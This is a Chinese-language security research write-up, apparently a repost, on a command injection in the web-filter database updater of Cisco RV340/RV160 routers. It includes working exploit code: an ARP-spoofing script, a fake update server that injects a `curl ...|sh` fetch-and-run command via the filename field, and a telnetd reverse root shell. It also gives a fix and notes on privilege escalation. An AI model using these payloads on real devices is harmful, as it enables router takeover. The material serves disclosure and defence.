close

作者:Rivaille@知道創宇404實驗室日期:2022年8月29日


漏洞原理


這個漏洞是cisco RV340和cisco RV160系列中存在的一個命令注入漏洞,命令注入發生在wfapp中,漏洞原理如下。

wfapp運行後會檢查當前/tmp/webrootdb目錄下是否存在webfilter數據庫文件,如果存在,則不向服務器發送更新數據庫的請求,如果不存在,則會拉取更新。同時wfapp會創建守護進程,24小時會自動更新一次webfilter數據庫。wfapp的啟動過程寫入在/etc/init.d/webfilter這個中,是一個開機自啟的服務。

拉取數據庫文件更新的過程中,wfapp首先會向bcap15.brightcloud.com發起一個post請求,檢查是否有新的webfilter數據庫可從brightcloud中獲得:

POST / HTTP/1.1Content-Type: text/htmlHost: bcap15.brightcloud.comContent-Length: 296Connection: close<?BrightCloud version=bcap/1.1?><bcap> <seqnum>1</seqnum> <encrypt-type>none</encrypt-type> <request> <method>getmd5update1mrep</method> <uid>PSZ25281CDE</uid> <productid>RV340-WB</productid> <oemid>Cisco</oemid> <md5currentmajor>0</md5currentmajor> <md5currentminor>0</md5currentminor> </request></bcap>

然後bcap15.brightcloud.com會返回一個http響應:

HTTP/1.1 200 OKContent-Type: application/xmlDate: Fri, 01 Oct 2021 14:00:39 GMTServer: KestrelContent-Length: 425Connection: Close<?BrightCloud version=bcap/1.1?><bcap> <seqnum>1</seqnum> <status>200</status> <statusmsg>OK</statusmsg> <response> <status>200</status> <statusmsg>OK</statusmsg> <filename>full_bcdb_rep_1m_7.888.bin</filename> <checksum>2381a9b7ea1ce3bd0c71c41891507233</checksum> <updateMajorVersion>7</updateMajorVersion> <updateMinorVersion>888</updateMinorVersion> <targetchecksum>2381a9b7ea1ce3bd0c71c41891507233</targetchecksum> </response></bcap>

當bcap15.brightcloud.com返迴響應,表示有新的數據庫更新之後,wfapp會向database.brightcloud.com這個服務發送請求,從database.brightcloud.com下載新的webfilter數據庫,檢查webfilter數據庫文件的格式通過之後,會進入後續的處理流程,命令注入就發生在wfapp處理數據庫文件名時,漏洞觸發點如下:

sprintf(s, "ls %s%s", "/mnt/webrootdb/", "full_bcdb_rep_1m*"); fd = popen(s, "r"); if ( fd ) { if ( isstdout ) printf(" Checking for 1M URL DB file %s%s\r\n", "/mnt/webrootdb/", "full_bcdb_rep_1m*"); if ( issyslog ) syslog(6, " Checking for 1M URL DB file %s%s\r\n", "/mnt/webrootdb/", "full_bcdb_rep_1m*"); if ( fgets(filename, 64, fd) ) { s[strlen(filename) - 65] = 0; ... strcpy((char *)cmdinject, filename);

sprintf( s, "rm %s%s; cp %s %s; rm /tmp/%s", "/mnt/webrootdb/", "full_bcdb_rep_1m*", (const char *)cmdinject, "/mnt/webrootdb/", "full_bcdb_rep_1m*"); // 命令注入 if ( isstdout ) printf(" saving the 1M URLDB file to webroot parition using the command:'%s'\r\n", s); if ( issyslog ) syslog(6, " saving the 1M URLDB file to webroot parition using the command:'%s'\r\n", s); if ( popen(s, "r") ) { if ( isstdout ) printf(" Successfully saved the file to webroot partition '%s'\r\n", "/mnt/webrootdb/"); if ( issyslog ) syslog(6, " Successfully saved the file to webroot partition '%s'\r\n", "/mnt/webrootdb/"); }

要利用這個漏洞,需要做一次中間人攻擊,讓攻擊者的主機向路由器返回一個響應體,這個響應體的xml文件的filename標籤中可以嵌入惡意的shell命令,然後把反彈shell腳本部署在中間人的主機上。

這個漏洞具有一定局限性,只能24小時攻擊一次,或者等待設備重啟之後再攻擊。





漏洞利用


這裡做中間人攻擊,有兩種利用方式,這兩種利用方式都有一定的局限性。

第一種是arp欺騙,把毒化整個局域網下所有主機的arp緩存,讓路由器的ip地址對應攻擊者主機的mac地址,這種情況下,路由器會認為攻擊者的主機是整個局域網的網關,bcap15.brightcloud.com服務器返回的響應會首先通過攻擊者的主機,設置ip_forword流量轉發和iptables規則,完成改包。

第二種是想辦法做DNS劫持,把bcap.brightcloud.com ,databse.brightcloud.com這兩域名和惡意的服務ip綁定,這樣所有發送給這兩個服務器的請求都可以被攻擊者截獲。

第一種利用方式,由於劫持了局域網下的所有入口流量,很容易導致整個局域網炸網,出現路由器重啟之後無法連接外網的情況,路由器無法連接外網,就無法向bcap.brightcloud.com服務器發送請求,給分析和復現帶來困難,這裡給出arp欺騙攻擊的腳本,有興趣可以嘗試一下。

import osfrom tabnanny import verbosefrom numpy import broadcastfrom scapy.all import *import requestsgateway_ip = "192.168.1.1" # cisco ip addressfake_gateway_ip = "192.168.1.127" # ubuntu ip addressdef arpspoof(gateway_ip,fake_gateway_mac): packet = ARP(op=2,pdst="0.0.0.0",psrc=gateway_ip,hwsrc=fake_gateway_mac) # arp廣播 send(packet,verbose=False)def exp(): #fake_gateway_mac = get_mac(fake_gateway_ip) try: sent_packets_count = 0 while True: arpspoof(gateway_ip,"00:0c:29:9f:9f:4a") #arpspoof(attack_ip,gateway_ip) sent_packets_count += 1 print("[*] Packets Sent "+str(sent_packets_count)) os.system("arp -a|grep 192.168.1.1") time.sleep(2) except KeyboardInterrupt: print("\nCtrl + C pressed.............Exiting") print("[+] Arp Spoof Stopped")exp()

arp包設置成廣播包,pdst和hwdst都置空,這樣可以完成對整個子網的欺騙,完成對bcap15.brightcloud.com響應的攔截。

第二種改DNS的方法,只能在登錄RV340的後台之後才能使用,RV340的web管理界面提供了一個DNS local database的功能,可以設置域名解析,

由於RV340更新webfilter database需要重啟,而我們後台所做的配置是running config,重啟之後配置的域名解析會失效,所以還需要把配置的信息設置成startup config。

需要兩台攻擊機,一台服務器上會響應惡意的xml文件,部署惡意的shell腳本,一台服務器上放格式正確的Webfilter數據庫文件,在文件名和xml文件filename標籤里插入惡意的shell語句。

from wsgiref.util import request_urifrom simple_http_server import *import simple_http_server.server as serverimport requestsfilename = "full_bcdb_rep_1m_8.334.bin"payload = "full_bcdb_rep_1m_8.334`curl${IFS}192.168.1.127|sh`.bin"# download reverse_shell.sh@request_map('/',method=["POST"])def index_ctroller_function(): xmldata = ''' <?xml version="1.0" encoding="UTF-8" ?> <?BrightCloud version=bcap/1.1?> <bcap> <seqnum>1</seqnum> <status>200</status> <statusmsg>OK</statusmsg> <response> <status>200</status> <statusmsg>OK</statusmsg> <filename>%s</filename> <checksum>896bb64c7dd8661535b5cbe55fe7c17e</checksum> <updateMajorVersion>8</updateMajorVersion> <updateMinorVersion>334</updateMinorVersion> <targetchecksum>896bb64c7dd8661535b5cbe55fe7c17e</targetchecksum> </response> </bcap> '''%payload return xmldata@request_map("/",method=['GET'])def reverseshell_ctroller_function(): return StaticFile("./opentelnet")def main(*args): server.start(port=80)if __name__ == "__main__": main()

open telnet的腳本如下:

/usr/sbin/telnetd -l /bin/sh -p23333

開啟web服務:

另一台服務器上,把命令寫入到數據庫文件的文件名中,然後開啟web服務:

telnet遠程登錄獲取rootshell:





漏洞修復


修復的方法,是本地保留cacert證書,不向不受信任的服務器發送請求。




後續思考


這個漏洞,看起來有些雞肋,利用起來處處掣肘,但是也有延長利用鏈的可能。
cisco有一個默認的guest用戶,這個用戶無法登錄Web後台,但是可以生成guest sessionid,可以訪問後台的一些服務。cisco之前有一些利用,是通過guest sessionid溢出或者命令注入的,但是打進去之後只能得到一個www-data的權限,那這個時候可以用這個漏洞來提權,該漏洞在3.27以下版本都可以使用,填補了client update和vpnTimer提權失效的空白。
利用這個guest sessionid,可以訪問DNS配置信息,但是無法修改DNS的配置信息,如果這個裡面鑒權邏輯存在問題的話,那這個漏洞可以成為一個穩定利用的無條件rce(雖然arp欺騙也可以無條件rce,但是利用有難度,且動靜較大),後續可以嘗試從這個點去挖一挖。



參考


https://onekey.com/blog/advisory-cisco-small-business-rv-series-routers-web-filter-database-update-command-injection-vulnerability/


作者名片


END



往期熱門
(點擊圖片跳轉)

戳「閱讀原文」更多精彩內容!
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()